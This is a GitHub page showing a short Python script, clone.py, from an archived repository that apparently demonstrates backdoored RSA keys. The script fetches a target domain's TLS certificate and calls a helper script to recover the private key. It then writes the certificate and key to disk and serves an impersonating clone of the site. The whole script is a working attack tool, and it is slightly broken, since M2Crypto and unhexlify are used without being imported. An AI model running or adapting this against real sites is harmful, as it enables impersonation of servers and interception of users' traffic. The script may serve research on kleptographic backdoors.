This repository was archived by the owner on Nov 20, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclone.py
More file actions
executable file
·44 lines (33 loc) · 1.45 KB
/
Copy pathclone.py
File metadata and controls
executable file
·44 lines (33 loc) · 1.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
import ssl
import subprocess
import argparse
import serve
PORT=4443
def get_public_key(cert_string):
cert = M2Crypto.X509.load_cert_string(cert_string)
return unhexlify(cert.get_pubkey().get_modulus())
def clone_server(server, port):
# Get the public key and reverse it
print("Connecting to {}:{}".format(server, port))
certstr = ssl.get_server_certificate((server,port), ssl_version=ssl.PROTOCOL_TLSv1_2)
print("Got certificate from {}".format(server))
privstr = subprocess.check_output(["./rsabd.py"], input=certstr, universal_newlines=True)
print("Reversed private key from certificate")
return certstr, privstr
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Clone a website's backdoor-ed key")
parser.add_argument('domain', help='Domain to clone.')
parser.add_argument('--remoteport', type=int, default=PORT, help='Port to connect to target server on.')
parser.add_argument('--port', type=int, default=PORT+1, help='Port to serve clone on.')
args = parser.parse_args()
certstr, privstr = clone_server(args.domain, args.remoteport)
certfile = args.domain + ".clone.crt"
keyfile = args.domain + ".clone.key"
# write the certificate and private key to disk
with open(certfile, 'w') as cf:
cf.write(certstr)
with open(keyfile, 'w') as kf:
kf.write(privstr)
print("Serving clone")
serve.serve(args.port, certfile, keyfile)